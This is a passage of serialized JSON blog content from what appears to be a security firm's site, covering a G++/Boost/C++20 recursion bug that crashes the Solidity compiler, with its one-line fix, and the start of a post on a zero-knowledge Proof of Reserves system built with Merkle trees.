boost::rational",{"type":24,"tag":271,"props":98552,"children":98553},{"style":624},[98554],{"type":29,"value":801},{"type":24,"tag":271,"props":98556,"children":98557},{"style":278},[98558],{"type":29,"value":3923},{"type":24,"tag":271,"props":98560,"children":98561},{"style":624},[98562],{"type":29,"value":18165},{"type":24,"tag":271,"props":98564,"children":98565},{"style":288},[98566],{"type":29,"value":97599},{"type":24,"tag":271,"props":98568,"children":98569},{"class":273,"line":321},[98570,98574,98578,98582,98586],{"type":24,"tag":271,"props":98571,"children":98572},{"style":749},[98573],{"type":29,"value":9640},{"type":24,"tag":271,"props":98575,"children":98576},{"style":288},[98577],{"type":29,"value":97611},{"type":24,"tag":271,"props":98579,"children":98580},{"style":624},[98581],{"type":29,"value":5059},{"type":24,"tag":271,"props":98583,"children":98584},{"style":477},[98585],{"type":29,"value":767},{"type":24,"tag":271,"props":98587,"children":98588},{"style":288},[98589],{"type":29,"value":1069},{"type":24,"tag":271,"props":98591,"children":98592},{"class":273,"line":330},[98593],{"type":24,"tag":271,"props":98594,"children":98595},{"style":288},[98596],{"type":29,"value":1171},{"type":24,"tag":25,"props":98598,"children":98599},{},[98600],{"type":29,"value":98601},"Expected output: nothing.",{"type":24,"tag":25,"props":98603,"children":98604},{},[98605],{"type":29,"value":98606},"Actual: segmentation fault (stack overflow).",{"type":24,"tag":25,"props":98608,"children":98609},{},[98610,98612,98619],{"type":29,"value":98611},"This exact pattern was ",{"type":24,"tag":32,"props":98613,"children":98616},{"href":98614,"rel":98615},"https://github.com/boostorg/rational/issues/43",[36],[98617],{"type":29,"value":98618},"reported and fixed in Boost rational",{"type":29,"value":98620},", but only in version 1.75+.",{"type":24,"tag":25,"props":98622,"children":98623},{},[98624],{"type":29,"value":98625},"Here’s the one-line fix:",{"type":24,"tag":261,"props":98627,"children":98629},{"code":98628,"language":265,"meta":7,"className":263,"style":7},"template \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n- return a == b;\n+ return a.operator==(b);\n}\n",[98630],{"type":24,"tag":135,"props":98631,"children":98632},{"__ignoreMap":7},[98633,98641,98648,98656,98664,98672,98679,98687,98695],{"type":24,"tag":271,"props":98634,"children":98635},{"class":273,"line":274},[98636],{"type":24,"tag":271,"props":98637,"children":98638},{"style":288},[98639],{"type":29,"value":98640},"template \u003Cclass Arg, class IntType>\n",{"type":24,"tag":271,"props":98642,"children":98643},{"class":273,"line":284},[98644],{"type":24,"tag":271,"props":98645,"children":98646},{"style":288},[98647],{"type":29,"value":98257},{"type":24,"tag":271,"props":98649,"children":98650},{"class":273,"line":294},[98651],{"type":24,"tag":271,"props":98652,"children":98653},{"style":288},[98654],{"type":29,"value":98655},"inline typename boost::enable_if_c \u003C\n",{"type":24,"tag":271,"props":98657,"children":98658},{"class":273,"line":303},[98659],{"type":24,"tag":271,"props":98660,"children":98661},{"style":288},[98662],{"type":29,"value":98663}," rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n",{"type":24,"tag":271,"props":98665,"children":98666},{"class":273,"line":312},[98667],{"type":24,"tag":271,"props":98668,"children":98669},{"style":288},[98670],{"type":29,"value":98671}," operator == (const Arg& b, const rational\u003CIntType>& a)\n",{"type":24,"tag":271,"props":98673,"children":98674},{"class":273,"line":321},[98675],{"type":24,"tag":271,"props":98676,"children":98677},{"style":288},[98678],{"type":29,"value":702},{"type":24,"tag":271,"props":98680,"children":98681},{"class":273,"line":330},[98682],{"type":24,"tag":271,"props":98683,"children":98684},{"style":378},[98685],{"type":29,"value":98686},"- return a == b;\n",{"type":24,"tag":271,"props":98688,"children":98689},{"class":273,"line":339},[98690],{"type":24,"tag":271,"props":98691,"children":98692},{"style":477},[98693],{"type":29,"value":98694},"+ return a.operator==(b);\n",{"type":24,"tag":271,"props":98696,"children":98697},{"class":273,"line":347},[98698],{"type":24,"tag":271,"props":98699,"children":98700},{"style":288},[98701],{"type":29,"value":1171},{"type":24,"tag":25,"props":98703,"children":98704},{},[98705,98707,98712,98714,98719],{"type":29,"value":98706},"Instead of calling ",{"type":24,"tag":135,"props":98708,"children":98710},{"className":98709},[],[98711],{"type":29,"value":97037},{"type":29,"value":98713}," — which triggers overload resolution again — the patched version directly calls the member function ",{"type":24,"tag":135,"props":98715,"children":98717},{"className":98716},[],[98718],{"type":29,"value":97045},{"type":29,"value":41},{"type":24,"tag":25,"props":98721,"children":98722},{},[98723],{"type":29,"value":98724},"This prevents C++20 from triggering recursive rewrites.",{"type":24,"tag":26485,"props":98726,"children":98727},{},[],{"type":24,"tag":62,"props":98729,"children":98731},{"id":98730},"part-iv-how-this-breaks-solidity",[98732],{"type":29,"value":98733},"Part IV: How This Breaks Solidity",{"type":24,"tag":25,"props":98735,"children":98736},{},[98737,98739,98744],{"type":29,"value":98738},"The Solidity codebase uses ",{"type":24,"tag":135,"props":98740,"children":98742},{"className":98741},[],[98743],{"type":29,"value":96892},{"type":29,"value":98745}," to represent certain compile-time constant expressions.",{"type":24,"tag":25,"props":98747,"children":98748},{},[98749,98751,98757],{"type":29,"value":98750},"One snippet that can trigger this issue appears in ",{"type":24,"tag":135,"props":98752,"children":98754},{"className":98753},[],[98755],{"type":29,"value":98756},"DeclarationTypeChecker::endVisit",{"type":29,"value":12210},{"type":24,"tag":261,"props":98759,"children":98761},{"code":98760,"language":3861,"meta":7,"className":3859,"style":7},"if (Expression const* length = _typeName.length()) {\n std::optional\u003Crational> lengthValue;\n\n if (length->annotation().type && length->annotation().type->category() == Type::Category::RationalNumber)\n ...\n else if (std::optional\u003CConstantEvaluator::TypedRational> value = ConstantEvaluator::evaluate(...))\n lengthValue = value->value;\n\n if (!lengthValue)\n ...\n else if (*lengthValue == 0) // \u003C-- Infinite recursion happens here\n ...\n}\n",[98762],{"type":24,"tag":135,"props":98763,"children":98764},{"__ignoreMap":7},[98765,98812,98837,98844,98922,98929,98982,99010,99017,99037,99044,99084,99091],{"type":24,"tag":271,"props":98766,"children":98767},{"class":273,"line":274},[98768,98772,98777,98781,98785,98790,98794,98799,98803,98807],{"type":24,"tag":271,"props":98769,"children":98770},{"style":749},[98771],{"type":29,"value":23277},{"type":24,"tag":271,"props":98773,"children":98774},{"style":288},[98775],{"type":29,"value":98776}," (Expression ",{"type":24,"tag":271,"props":98778,"children":98779},{"style":278},[98780],{"type":29,"value":611},{"type":24,"tag":271,"props":98782,"children":98783},{"style":624},[98784],{"type":29,"value":627},{"type":24,"tag":271,"props":98786,"children":98787},{"style":288},[98788],{"type":29,"value":98789}," length ",{"type":24,"tag":271,"props":98791,"children":98792},{"style":624},[98793],{"type":29,"value":762},{"type":24,"tag":271,"props":98795,"children":98796},{"style":630},[98797],{"type":29,"value":98798}," _typeName",{"type":24,"tag":271,"props":98800,"children":98801},{"style":288},[98802],{"type":29,"value":41},{"type":24,"tag":271,"props":98804,"children":98805},{"style":598},[98806],{"type":29,"value":16219},{"type":24,"tag":271,"props":98808,"children":98809},{"style":288},[98810],{"type":29,"value":98811},"()) {\n",{"type":24,"tag":271,"props":98813,"children":98814},{"class":273,"line":284},[98815,98820,98824,98828,98832],{"type":24,"tag":271,"props":98816,"children":98817},{"style":288},[98818],{"type":29,"value":98819}," std::optional",{"type":24,"tag":271,"props":98821,"children":98822},{"style":624},[98823],{"type":29,"value":801},{"type":24,"tag":271,"props":98825,"children":98826},{"style":288},[98827],{"type":29,"value":97897},{"type":24,"tag":271,"props":98829,"children":98830},{"style":624},[98831],{"type":29,"value":18165},{"type":24,"tag":271,"props":98833,"children":98834},{"style":288},[98835],{"type":29,"value":98836}," lengthValue;\n",{"type":24,"tag":271,"props":98838,"children":98839},{"class":273,"line":294},[98840],{"type":24,"tag":271,"props":98841,"children":98842},{"emptyLinePlaceholder":16},[98843],{"type":29,"value":327},{"type":24,"tag":271,"props":98845,"children":98846},{"class":273,"line":303},[98847,98851,98855,98859,98863,98867,98871,98875,98879,98884,98888,98892,98896,98900,98904,98909,98913,98917],{"type":24,"tag":271,"props":98848,"children":98849},{"style":749},[98850],{"type":29,"value":5025},{"type":24,"tag":271,"props":98852,"children":98853},{"style":288},[98854],{"type":29,"value":1357},{"type":24,"tag":271,"props":98856,"children":98857},{"style":630},[98858],{"type":29,"value":16219},{"type":24,"tag":271,"props":98860,"children":98861},{"style":288},[98862],{"type":29,"value":786},{"type":24,"tag":271,"props":98864,"children":98865},{"style":598},[98866],{"type":29,"value":37838},{"type":24,"tag":271,"props":98868,"children":98869},{"style":288},[98870],{"type":29,"value":37843},{"type":24,"tag":271,"props":98872,"children":98873},{"style":630},[98874],{"type":29,"value":40427},{"type":24,"tag":271,"props":98876,"children":98877},{"style":624},[98878],{"type":29,"value":989},{"type":24,"tag":271,"props":98880,"children":98881},{"style":630},[98882],{"type":29,"value":98883}," length",{"type":24,"tag":271,"props":98885,"children":98886},{"style":288},[98887],{"type":29,"value":786},{"type":24,"tag":271,"props":98889,"children":98890},{"style":598},[98891],{"type":29,"value":37838},{"type":24,"tag":271,"props":98893,"children":98894},{"style":288},[98895],{"type":29,"value":37843},{"type":24,"tag":271,"props":98897,"children":98898},{"style":630},[98899],{"type":29,"value":40427},{"type":24,"tag":271,"props":98901,"children":98902},{"style":288},[98903],{"type":29,"value":786},{"type":24,"tag":271,"props":98905,"children":98906},{"style":598},[98907],{"type":29,"value":98908},"category",{"type":24,"tag":271,"props":98910,"children":98911},{"style":288},[98912],{"type":29,"value":21742},{"type":24,"tag":271,"props":98914,"children":98915},{"style":624},[98916],{"type":29,"value":5059},{"type":24,"tag":271,"props":98918,"children":98919},{"style":288},[98920],{"type":29,"value":98921}," Type::Category::RationalNumber)\n",{"type":24,"tag":271,"props":98923,"children":98924},{"class":273,"line":312},[98925],{"type":24,"tag":271,"props":98926,"children":98927},{"style":288},[98928],{"type":29,"value":88632},{"type":24,"tag":271,"props":98930,"children":98931},{"class":273,"line":321},[98932,98937,98941,98946,98950,98955,98959,98964,98968,98973,98977],{"type":24,"tag":271,"props":98933,"children":98934},{"style":749},[98935],{"type":29,"value":98936}," else",{"type":24,"tag":271,"props":98938,"children":98939},{"style":749},[98940],{"type":29,"value":1352},{"type":24,"tag":271,"props":98942,"children":98943},{"style":288},[98944],{"type":29,"value":98945}," (std::optional",{"type":24,"tag":271,"props":98947,"children":98948},{"style":624},[98949],{"type":29,"value":801},{"type":24,"tag":271,"props":98951,"children":98952},{"style":288},[98953],{"type":29,"value":98954},"ConstantEvaluator::TypedRational",{"type":24,"tag":271,"props":98956,"children":98957},{"style":624},[98958],{"type":29,"value":18165},{"type":24,"tag":271,"props":98960,"children":98961},{"style":288},[98962],{"type":29,"value":98963}," value ",{"type":24,"tag":271,"props":98965,"children":98966},{"style":624},[98967],{"type":29,"value":762},{"type":24,"tag":271,"props":98969,"children":98970},{"style":288},[98971],{"type":29,"value":98972}," ConstantEvaluator::",{"type":24,"tag":271,"props":98974,"children":98975},{"style":598},[98976],{"type":29,"value":45673},{"type":24,"tag":271,"props":98978,"children":98979},{"style":288},[98980],{"type":29,"value":98981},"(...))\n",{"type":24,"tag":271,"props":98983,"children":98984},{"class":273,"line":330},[98985,98990,98994,98998,99002,99006],{"type":24,"tag":271,"props":98986,"children":98987},{"style":288},[98988],{"type":29,"value":98989}," lengthValue ",{"type":24,"tag":271,"props":98991,"children":98992},{"style":624},[98993],{"type":29,"value":762},{"type":24,"tag":271,"props":98995,"children":98996},{"style":630},[98997],{"type":29,"value":40181},{"type":24,"tag":271,"props":98999,"children":99000},{"style":288},[99001],{"type":29,"value":786},{"type":24,"tag":271,"props":99003,"children":99004},{"style":630},[99005],{"type":29,"value":46820},{"type":24,"tag":271,"props":99007,"children":99008},{"style":288},[99009],{"type":29,"value":1069},{"type":24,"tag":271,"props":99011,"children":99012},{"class":273,"line":339},[99013],{"type":24,"tag":271,"props":99014,"children":99015},{"emptyLinePlaceholder":16},[99016],{"type":29,"value":327},{"type":24,"tag":271,"props":99018,"children":99019},{"class":273,"line":347},[99020,99024,99028,99032],{"type":24,"tag":271,"props":99021,"children":99022},{"style":749},[99023],{"type":29,"value":5025},{"type":24,"tag":271,"props":99025,"children":99026},{"style":288},[99027],{"type":29,"value":1357},{"type":24,"tag":271,"props":99029,"children":99030},{"style":624},[99031],{"type":29,"value":1818},{"type":24,"tag":271,"props":99033,"children":99034},{"style":288},[99035],{"type":29,"value":99036},"lengthValue)\n",{"type":24,"tag":271,"props":99038,"children":99039},{"class":273,"line":356},[99040],{"type":24,"tag":271,"props":99041,"children":99042},{"style":288},[99043],{"type":29,"value":88632},{"type":24,"tag":271,"props":99045,"children":99046},{"class":273,"line":365},[99047,99051,99055,99059,99063,99067,99071,99075,99079],{"type":24,"tag":271,"props":99048,"children":99049},{"style":749},[99050],{"type":29,"value":98936},{"type":24,"tag":271,"props":99052,"children":99053},{"style":749},[99054],{"type":29,"value":1352},{"type":24,"tag":271,"props":99056,"children":99057},{"style":288},[99058],{"type":29,"value":1357},{"type":24,"tag":271,"props":99060,"children":99061},{"style":624},[99062],{"type":29,"value":627},{"type":24,"tag":271,"props":99064,"children":99065},{"style":288},[99066],{"type":29,"value":96868},{"type":24,"tag":271,"props":99068,"children":99069},{"style":624},[99070],{"type":29,"value":5059},{"type":24,"tag":271,"props":99072,"children":99073},{"style":477},[99074],{"type":29,"value":767},{"type":24,"tag":271,"props":99076,"children":99077},{"style":288},[99078],{"type":29,"value":2693},{"type":24,"tag":271,"props":99080,"children":99081},{"style":2058},[99082],{"type":29,"value":99083}," // \u003C-- Infinite recursion happens here\n",{"type":24,"tag":271,"props":99085,"children":99086},{"class":273,"line":374},[99087],{"type":24,"tag":271,"props":99088,"children":99089},{"style":288},[99090],{"type":29,"value":88632},{"type":24,"tag":271,"props":99092,"children":99093},{"class":273,"line":384},[99094],{"type":24,"tag":271,"props":99095,"children":99096},{"style":288},[99097],{"type":29,"value":1171},{"type":24,"tag":25,"props":99099,"children":99100},{},[99101],{"type":29,"value":99102},"Under normal circumstances, this expression is benign. But:",{"type":24,"tag":97,"props":99104,"children":99105},{},[99106,99111,99116],{"type":24,"tag":101,"props":99107,"children":99108},{},[99109],{"type":29,"value":99110},"G++ \u003C 14 wrongly prefers Boost's non-member operator",{"type":24,"tag":101,"props":99112,"children":99113},{},[99114],{"type":29,"value":99115},"C++20 reverses the arguments",{"type":24,"tag":101,"props":99117,"children":99118},{},[99119],{"type":29,"value":99120},"The non-member operator recursively calls itself",{"type":24,"tag":25,"props":99122,"children":99123},{},[99124],{"type":29,"value":99125},"💥: segmentation fault.",{"type":24,"tag":26485,"props":99127,"children":99128},{},[],{"type":24,"tag":62,"props":99130,"children":99132},{"id":99131},"part-v-what-environments-are-affected",[99133],{"type":29,"value":99134},"Part V: What Environments are Affected?",{"type":24,"tag":25,"props":99136,"children":99137},{},[99138],{"type":29,"value":99139},"If a system uses any of the following:",{"type":24,"tag":97,"props":99141,"children":99142},{},[99143,99148,99153],{"type":24,"tag":101,"props":99144,"children":99145},{},[99146],{"type":29,"value":99147},"G++ \u003C 14 (e.g., Ubuntu 22.04 uses 11.4)",{"type":24,"tag":101,"props":99149,"children":99150},{},[99151],{"type":29,"value":99152},"Boost \u003C 1.75 (e.g., 1.74 ships with Ubuntu)",{"type":24,"tag":101,"props":99154,"children":99155},{},[99156],{"type":29,"value":99157},"C++20 enabled (default in recent Solidity builds)",{"type":24,"tag":25,"props":99159,"children":99160},{},[99161,99163,99168,99170,99176],{"type":29,"value":99162},"They will encounter this crash ",{"type":24,"tag":213,"props":99164,"children":99165},{},[99166],{"type":29,"value":99167},"as soon as",{"type":29,"value":99169}," it processes a Solidity source with a length expression like ",{"type":24,"tag":135,"props":99171,"children":99173},{"className":99172},[],[99174],{"type":29,"value":99175},"T[0]",{"type":29,"value":99177}," or anything involving compile-time rational comparisons.",{"type":24,"tag":26485,"props":99179,"children":99180},{},[],{"type":24,"tag":62,"props":99182,"children":99184},{"id":99183},"recommendations",[99185],{"type":29,"value":99186},"Recommendations",{"type":24,"tag":97,"props":99188,"children":99189},{},[99190,99198],{"type":24,"tag":101,"props":99191,"children":99192},{},[99193],{"type":24,"tag":213,"props":99194,"children":99195},{},[99196],{"type":29,"value":99197},"Update Boost to ≥ 1.75",{"type":24,"tag":101,"props":99199,"children":99200},{},[99201],{"type":24,"tag":213,"props":99202,"children":99203},{},[99204],{"type":29,"value":99205},"Pin G++ to v14 or later",{"type":24,"tag":26485,"props":99207,"children":99208},{},[],{"type":24,"tag":62,"props":99210,"children":99211},{"id":10547},[99212],{"type":29,"value":10550},{"type":24,"tag":25,"props":99214,"children":99215},{},[99216],{"type":29,"value":99217},"This isn’t a security vulnerability. It doesn’t corrupt memory or allow code execution.",{"type":24,"tag":25,"props":99219,"children":99220},{},[99221,99223,99227],{"type":29,"value":99222},"But it ",{"type":24,"tag":213,"props":99224,"children":99225},{},[99226],{"type":29,"value":11696},{"type":29,"value":99228}," a reminder of the fragility of modern build stacks. A bug introduced in 2012, fixed in 2024, quietly broke one of the most used blockchain compiler toolchains — all without any code in the Solidity repo being “wrong.”",{"type":24,"tag":25,"props":99230,"children":99231},{},[99232],{"type":29,"value":99233},"Every layer here — Boost, G++, the C++20 spec, and Solidity — behaved “as documented.” But together, they composed into undefined behavior.",{"type":24,"tag":25,"props":99235,"children":99236},{},[99237],{"type":29,"value":99238},"The lesson? Always test critical software under multiple compilers and library versions — especially when enabling a new language standard.",{"type":24,"tag":10562,"props":99240,"children":99241},{},[99242],{"type":29,"value":10566},{"title":7,"searchDepth":284,"depth":284,"links":99244},[99245,99246,99251,99254,99255,99256,99257,99258],{"id":96928,"depth":284,"text":96931},{"id":97017,"depth":284,"text":97020,"children":99247},[99248,99249,99250],{"id":97023,"depth":294,"text":97026},{"id":97091,"depth":294,"text":97094},{"id":97182,"depth":294,"text":97185},{"id":97766,"depth":284,"text":97769,"children":99252},[99253],{"id":97772,"depth":294,"text":97775},{"id":97883,"depth":284,"text":97886},{"id":98730,"depth":284,"text":98733},{"id":99131,"depth":284,"text":99134},{"id":99183,"depth":284,"text":99186},{"id":10547,"depth":284,"text":10550},"content:blog:2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug",{"_path":99263,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":99264,"description":99265,"date":99266,"author":38875,"image":99267,"isFeatured":16,"onBlogPage":16,"tags":99269,"body":99272,"_type":10599,"_id":104048,"_source":10601,"_file":104049,"_stem":104050,"_extension":10604},"/blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds","PoRv2: A Fast, Transparent ZK-Based Proof of Reserves","Here, we explore zk-proofs, Merkle trees, and our new open-source implementation, PoRv2. Our proof-of-reserve enables users to verify exchange liabilities without relying on external auditors, setting a new standard for trust.","2025-08-27",{"src":99268,"width":21324,"height":21324},"/posts/por/title.png",[99270,99271],"zk","por",{"type":21,"children":99273,"toc":104025},[99274,99280,99292,99304,99309,99341,99355,99361,99373,99378,99383,99420,99425,99431,99436,99443,99448,99474,99479,99485,99505,99519,99527,99532,99537,99545,99558,99564,99646,99652,99657,99670,99675,99682,99706,99714,99719,99725,99730,100178,100191,100197,100202,100210,100228,100236,100249,100257,101918,101923,101930,101936,101941,101948,101964,101971,101979,101986,103497,103502,103509,103515,103520,103547,103552,103571,103577,103585,103603,103652,103660,103679,103701,103707,103720,103725,103732,103737,103800,103805,103812,103832,103838,103843,103849,103854,103898,103903,103911,103917,103922,103964,103969,103977,103982,103990,103994,103999,104012],{"type":24,"tag":62,"props":99275,"children":99277},{"id":99276},"what-is-a-proof-of-reserves",[99278],{"type":29,"value":99279},"What is a Proof of Reserves?",{"type":24,"tag":25,"props":99281,"children":99282},{},[99283,99285,99290],{"type":29,"value":99284},"At its heart, ",{"type":24,"tag":213,"props":99286,"children":99287},{},[99288],{"type":29,"value":99289},"Proof of Reserves (PoR)",{"type":29,"value":99291}," is a crucial system designed to show that a crypto platform genuinely holds the funds it owes to its users. It's how exchanges and custodians can prove, using strong cryptographic methods, that they have enough assets to cover all customer deposits.",{"type":24,"tag":25,"props":99293,"children":99294},{},[99295,99297,99302],{"type":29,"value":99296},"Think of it this way: ",{"type":24,"tag":213,"props":99298,"children":99299},{},[99300],{"type":29,"value":99301},"PoR",{"type":29,"value":99303}," is about enabling transparency. It's a way for platforms to provide clear, verifiable evidence of their financial health. For users, it means gaining confidence that their funds are secure on the platforms they use.",{"type":24,"tag":25,"props":99305,"children":99306},{},[99307],{"type":29,"value":99308},"Historically, traditional ways of proving reserves often had drawbacks. They might reveal too much sensitive information about the platform and rely heavily on external auditors without a direct user verification method.",{"type":24,"tag":25,"props":99310,"children":99311},{},[99312,99314,99321,99323,99330,99332,99339],{"type":29,"value":99313},"We from OtterSec, in partnership with ",{"type":24,"tag":32,"props":99315,"children":99318},{"href":99316,"rel":99317},"https://backpack.exchange/",[36],[99319],{"type":29,"value":99320},"Backpack",{"type":29,"value":99322},", just developed a Proof of Reserves system that can be used to prove CEX solvency. Our ",{"type":24,"tag":32,"props":99324,"children":99327},{"href":99325,"rel":99326},"https://github.com/otter-sec/por_v2",[36],[99328],{"type":29,"value":99329},"Zero-Knowledge Proof of Reserves (PoRv2)",{"type":29,"value":99331}," was based on ",{"type":24,"tag":32,"props":99333,"children":99336},{"href":99334,"rel":99335},"https://www.okx.com/en-eu/help/zero-knowledge-proofs-what-are-zk-starks-and-how-do-they-work-v2",[36],[99337],{"type":29,"value":99338},"OKX Proof of Reserves algorithm",{"type":29,"value":99340}," since it was the fastest and most efficient one known so far. We also use recursive plonky2 as the algorithm for zero-knowledge proving, but we made some improvements to the circuits for more transparency and verifiable information on the user side, eliminating the need to trust the audit company.",{"type":24,"tag":25,"props":99342,"children":99343},{},[99344,99346,99353],{"type":29,"value":99345},"In addition, we also created and open-sourced a ",{"type":24,"tag":32,"props":99347,"children":99350},{"href":99348,"rel":99349},"https://github.com/otter-sec/por_verifier_server",[36],[99351],{"type":29,"value":99352},"PoR verifier server",{"type":29,"value":99354}," that receives the proofs and validates them.",{"type":24,"tag":62,"props":99356,"children":99358},{"id":99357},"why-do-we-use-zk-for-por",[99359],{"type":29,"value":99360},"Why do we use ZK for PoR?",{"type":24,"tag":25,"props":99362,"children":99363},{},[99364,99366,99371],{"type":29,"value":99365},"Proving reserves is crucial, but it presents a unique challenge for any platform holding user funds: how do you publicly prove solvency without also exposing sensitive user balance information or revealing proprietary financial details? This is where ",{"type":24,"tag":213,"props":99367,"children":99368},{},[99369],{"type":29,"value":99370},"Zero-Knowledge Proofs (ZKPs)",{"type":29,"value":99372}," become game-changers.",{"type":24,"tag":25,"props":99374,"children":99375},{},[99376],{"type":29,"value":99377},"Simply put, a Zero-Knowledge Proof allows one party to prove to another that a statement is true without revealing any information beyond the validity of the statement itself. Imagine proving you know a secret password without actually telling anyone the password. You confirm you possess the knowledge, but the secret remains yours.",{"type":24,"tag":25,"props":99379,"children":99380},{},[99381],{"type":29,"value":99382},"In the context of Proof of Reserves, ZKPs are perfectly suited to solve the privacy paradox. They enable a platform to prove two important things cryptographically:",{"type":24,"tag":3834,"props":99384,"children":99385},{},[99386,99403],{"type":24,"tag":101,"props":99387,"children":99388},{},[99389,99394,99396,99402],{"type":24,"tag":213,"props":99390,"children":99391},{},[99392],{"type":29,"value":99393},"Sum proof",{"type":29,"value":99395},": The exchange liability is equal to the sum of all users' balances. (e.g: ",{"type":24,"tag":135,"props":99397,"children":99399},{"className":99398},[],[99400],{"type":29,"value":99401},"btc_liability = user1_btc + user2_btc + user3_btc + ...",{"type":29,"value":28429},{"type":24,"tag":101,"props":99404,"children":99405},{},[99406,99411,99413,99418],{"type":24,"tag":213,"props":99407,"children":99408},{},[99409],{"type":29,"value":99410},"Non-negativity",{"type":29,"value":99412},": All users have a ",{"type":24,"tag":213,"props":99414,"children":99415},{},[99416],{"type":29,"value":99417},"positive",{"type":29,"value":99419}," net balance. This ensures that the sum proof is not tampered with by users with negative net balances. A user can have negative asset balances (e.g., borrowing BTC) but only if collateralized with other assets.",{"type":24,"tag":25,"props":99421,"children":99422},{},[99423],{"type":29,"value":99424},"It is worth noting that we cannot guarantee that all users were included in the ZK analysis. Therefore, if we only used ZKPs to prove those two statements, the exchange could tamper with the sum proof by excluding users from the PoR. That's why we also use a Merkle tree to prove inclusions.",{"type":24,"tag":62,"props":99426,"children":99428},{"id":99427},"what-is-a-merkle-tree-and-how-does-it-help-in-a-por",[99429],{"type":29,"value":99430},"What is a Merkle Tree and how does it help in a PoR?",{"type":24,"tag":25,"props":99432,"children":99433},{},[99434],{"type":29,"value":99435},"A Merkle tree is a tree data structure where each leaf node is a cryptographic hash of an individual piece of data (like a user's balance), and every non-leaf node is a cryptographic hash of its child nodes. This structure allows for the entire dataset to be summarized by a single, unique hash at the top, called the Merkle Root.",{"type":24,"tag":25,"props":99437,"children":99438},{},[99439],{"type":24,"tag":74,"props":99440,"children":99442},{"alt":76,"src":99441},"/posts/por/merkle-tree.png",[],{"type":24,"tag":25,"props":99444,"children":99445},{},[99446],{"type":29,"value":99447},"In the PoR, we can use a Merkle tree to verify the inclusion of each user in the Proof of Reserves. It works like this:",{"type":24,"tag":3834,"props":99449,"children":99450},{},[99451,99464,99469],{"type":24,"tag":101,"props":99452,"children":99453},{},[99454,99456,99462],{"type":29,"value":99455},"The Merkle tree is generated using the leaf nodes as the hashes of the user information (e.g., ",{"type":24,"tag":135,"props":99457,"children":99459},{"className":99458},[],[99460],{"type":29,"value":99461},"sha256({id: 1, balances: {\"BTC\": 0.1, \"ETH\": 0.2, ...}})",{"type":29,"value":99463},");",{"type":24,"tag":101,"props":99465,"children":99466},{},[99467],{"type":29,"value":99468},"The Merkle tree is made public;",{"type":24,"tag":101,"props":99470,"children":99471},{},[99472],{"type":29,"value":99473},"Each user can download the Merkle tree and check if their account was included by hashing their account information and checking if the hash is one of the leaves;",{"type":24,"tag":25,"props":99475,"children":99476},{},[99477],{"type":29,"value":99478},"In other words, this use of the Merkle tree allows users to easily verify that their individual balance was included in the overall total.",{"type":24,"tag":62,"props":99480,"children":99482},{"id":99481},"ottersec-porv2",[99483],{"type":29,"value":99484},"OtterSec PoRv2",{"type":24,"tag":25,"props":99486,"children":99487},{},[99488,99494,99496,99503],{"type":24,"tag":32,"props":99489,"children":99491},{"href":99325,"rel":99490},[36],[99492],{"type":29,"value":99493},"We just open-sourced our Proof of Reserves code (PoRv2)",{"type":29,"value":99495},", which uses the ",{"type":24,"tag":32,"props":99497,"children":99500},{"href":99498,"rel":99499},"https://github.com/0xPolygonZero/plonky2",[36],[99501],{"type":29,"value":99502},"plonky2 ZK algorithm",{"type":29,"value":99504}," to create a Merkle tree and a final ZK proof that recursively verifies smaller sum and non-negativity proofs.",{"type":24,"tag":25,"props":99506,"children":99507},{},[99508,99510,99517],{"type":29,"value":99509},"We named it PoRv2 because we already had a version based on ",{"type":24,"tag":32,"props":99511,"children":99514},{"href":99512,"rel":99513},"https://vitalik.eth.limo/general/2022/11/19/proof_of_solvency.html",[36],[99515],{"type":29,"value":99516},"Vitalik's proof of solvency",{"type":29,"value":99518},", which was not optimal.",{"type":24,"tag":25,"props":99520,"children":99521},{},[99522],{"type":24,"tag":213,"props":99523,"children":99524},{},[99525],{"type":29,"value":99526},"Non-negativity Proof",{"type":24,"tag":25,"props":99528,"children":99529},{},[99530],{"type":29,"value":99531},"In our non-negativity proof, the circuit receives the asset balances of each user and the price of each asset. With these inputs, it calculates the account's USD balance and checks if it is greater than 0.",{"type":24,"tag":25,"props":99533,"children":99534},{},[99535],{"type":29,"value":99536},"We also check for overflows during summation to prevent tampering in the final result.",{"type":24,"tag":25,"props":99538,"children":99539},{},[99540],{"type":24,"tag":213,"props":99541,"children":99542},{},[99543],{"type":29,"value":99544},"Sum Proof",{"type":24,"tag":25,"props":99546,"children":99547},{},[99548,99550,99556],{"type":29,"value":99549},"The sum proof verifies a public circuit input that was calculated by summing up all user balances of each asset. (e.g., ",{"type":24,"tag":135,"props":99551,"children":99553},{"className":99552},[],[99554],{"type":29,"value":99555},"BTC final: user1_btc + user2_btc ...",{"type":29,"value":99557},"). Note that each asset's final sum is not USD-based; we calculate the final balance using the asset balance itself.",{"type":24,"tag":85,"props":99559,"children":99561},{"id":99560},"what-are-the-ottersec-porv2-key-points",[99562],{"type":29,"value":99563},"What are the OtterSec PoRv2 key points?",{"type":24,"tag":3834,"props":99565,"children":99566},{},[99567,99577,99595,99605,99636],{"type":24,"tag":101,"props":99568,"children":99569},{},[99570,99575],{"type":24,"tag":213,"props":99571,"children":99572},{},[99573],{"type":29,"value":99574},"Transparency",{"type":29,"value":99576},": It is possible for the exchange to safely disclose the entire Merkle tree so users can verify it without the need for an external auditing company. Also, the code allows asset price commitments and verifications.",{"type":24,"tag":101,"props":99578,"children":99579},{},[99580,99585,99587,99594],{"type":24,"tag":213,"props":99581,"children":99582},{},[99583],{"type":29,"value":99584},"Time-efficiency",{"type":29,"value":99586},": We were able to reduce the amount of time to prove by more than 100 times from our previous version by generating proofs for 750,000 users within 8 minutes using a Mac M3 Pro. ",{"type":24,"tag":32,"props":99588,"children":99591},{"href":99589,"rel":99590},"https://github.com/otter-sec/por_v2?tab=readme-ov-file#benchmark",[36],[99592],{"type":29,"value":99593},"Check our benchmark",{"type":29,"value":41},{"type":24,"tag":101,"props":99596,"children":99597},{},[99598,99603],{"type":24,"tag":213,"props":99599,"children":99600},{},[99601],{"type":29,"value":99602},"Memory-efficiency",{"type":29,"value":99604},": We also were able to reduce the amount of RAM needed to 